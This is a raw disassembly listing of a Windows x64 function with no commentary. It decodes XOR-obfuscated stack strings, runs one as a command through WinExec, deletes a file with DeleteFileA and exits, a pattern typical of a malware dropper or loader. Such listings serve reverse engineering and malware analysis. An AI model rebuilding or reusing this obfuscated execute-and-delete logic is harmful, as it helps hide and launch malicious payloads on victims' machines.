movabs rax, 0xd3c7d0faeaf30d26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rcx, 0x3c44b45414ceaeca
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movabs rdi, 0x60b688ff5bd47a27
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
movabs rax, 0xdf66ddbd1228e729
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0xda51b0cbadf2b9cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rsi, 0xb6a7db728d4e768c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rbx, 0x64412fd9aae450ed
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs r11, 0xea3220f00773148e
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs r10, 0xdf9dae977d69f1ef
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs r9, 0x223c7a2e328bfa10
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs r8, 0xc7c86495edf34091
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rdx, 0xffc52cacd90c9f92
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x8c3d3f2305766213
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0x88e1534af05421f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x5dd59851fb3e2c15
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0xd293a7c81e10e476
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x86570bafd5a013b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rax, 0x41e9b2603999ab8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x91adbaed0e1a1139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x59beb324a6f25c3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x3d481e7b22c629db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rax, 0x939d3622dda94b9c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
movabs rax, 0xa0013b092258217d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
movabs rax, 0x77d70c208f83a39e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movabs rax, 0x91e48bc730fd72ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
movabs rax, 0x47dcfcde1fb13920
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
movabs rax, 0x19549945615275a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0xc968c6dcdaa82122
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0x628d5253559894a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
movabs rax, 0x3b28307a5cc14684
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
movabs rax, 0x1c87a0139b40fa5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0xb0c636f84b2bfa86
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movabs rax, 0x3ef7f35fd536b447
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
movabs rax, 0xa0959d6384a1bc8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movabs rax, 0xd3c7d09d84926749
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
vmovdqu ymm0, ymmword [rbp + 0x640]
vpxor ymm0, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x840], ymm0
vmovdqu ymm1, ymmword [rbp + 0x660]
vpxor ymm0, ymm1, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0x860], ymm0
vmovdqu ymm1, ymmword [rbp + 0x680]
vpxor ymm0, ymm1, ymmword [rbp + 0x880]
vmovdqa ymmword [rbp + 0x880], ymm0
vmovdqu ymm1, ymmword [rbp + 0x6a0]
vpxor ymm0, ymm1, ymmword [rbp + 0x8a0]
vmovdqa ymmword [rbp + 0x8a0], ymm0
vmovdqu ymm1, ymmword [rbp + 0x6c0]
vpxor ymm0, ymm1, ymmword [rbp + 0x8c0]
vmovdqa ymmword [rbp + 0x8c0], ymm0
vmovdqu ymm1, ymmword [rbp + 0x6e0]
vpxor ymm0, ymm1, ymmword [rbp + 0x8e0]
vmovdqa ymmword [rbp + 0x8e0], ymm0
vmovdqu ymm1, ymmword [rbp + 0x700]
vpxor ymm0, ymm1, ymmword [rbp + 0x900]
vmovdqa ymmword [rbp + 0x900], ymm0
vmovdqu ymm1, ymmword [rbp + 0x720]
vpxor ymm0, ymm1, ymmword [rbp + 0x920]
vmovdqa ymmword [rbp + 0x920], ymm0
vmovdqu ymm0, ymmword [rbp + 0x940]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x940], ymm1
vmovdqa xmm0, xmmword [rbp + 0x960]
vxorps xmm0, xmm0, xmmword [rbp + 0x760]
vmovdqa xmmword [rbp + 0x960], xmm0
movabs rax, 0xcaf8da4b37bb7d48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xa64324eadfe0ba48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x5af5b5972fb50a09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0xdcf3120568881f74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xba0fb1de4e448b5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x234de82bac61fec4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xbf27d9bfcc9ce5fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x8ce4fb02ee6356ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xa205baac58b32b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8f5b4c935b1f78fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x80ab9fc84c368581
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x505d084c5be7a625
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xc7c85fbfb18025f8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rcx, 0xdf66ddbd1228e729
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0xda51b0cbadf2b9cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5e0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x200]
vxorps xmm0, xmm0, xmmword [rbp + 0x620]
vmovdqa xmmword [rbp + 0x200], xmm0
movabs rax, 0xdffdd44e11ca6746
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xbe5b19f4d1fcb807
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0xaeae69639881b51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xd7ea035870860b49
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
movabs rax, 0xdf66ddc57f70ca09
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
vmovdqu ymm0, ymmword [rbp + 0x4a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x4a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x4c0]
vxorps xmm0, xmm0, xmmword [rbp + 0x5a0]
vmovdqa xmmword [rbp + 0x4c0], xmm0
lea r8, [0x1400a3990]
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x2a0]
vzeroupper
call fcn.14005a6d0
nop
lea r8, [rbp + 0x1a0]
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.14005ab50
nop
lea r8, [rbp + 0x310]
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.14005a830
nop
lea r8, [rbp + 0x840]
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.14005ab50
nop
lea rcx, [rbp + 0x2c0]
call fcn.140059d80
nop
lea rcx, [rbp + 0x2e0]
call fcn.140059d80
nop
lea rcx, [rbp + 0x2a0]
call fcn.140059d80
lea rcx, [rbp + 0x360]
call fcn.140059bc0
mov rcx, rax
mov edx, 5
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0x310]
call fcn.140059bc0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14005ac10
lea rdx, [0x14005ae70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov byte [0x1400730d8], 1
mov rcx, qword [rbp + 0x330]
test rcx, rcx
je 0x140058b71
mov rdx, qword [rbp + 0x340]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058b6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140058b6b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c834
nop
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x140058bb5
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140058bb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140058bb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c834
mov rcx, qword [rbp + 0xc40]
xor rcx, rsp
call fcn.14005c420
lea r11, [rsp + 0xcc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140046ca0
nop
call fcn.140046c00
int3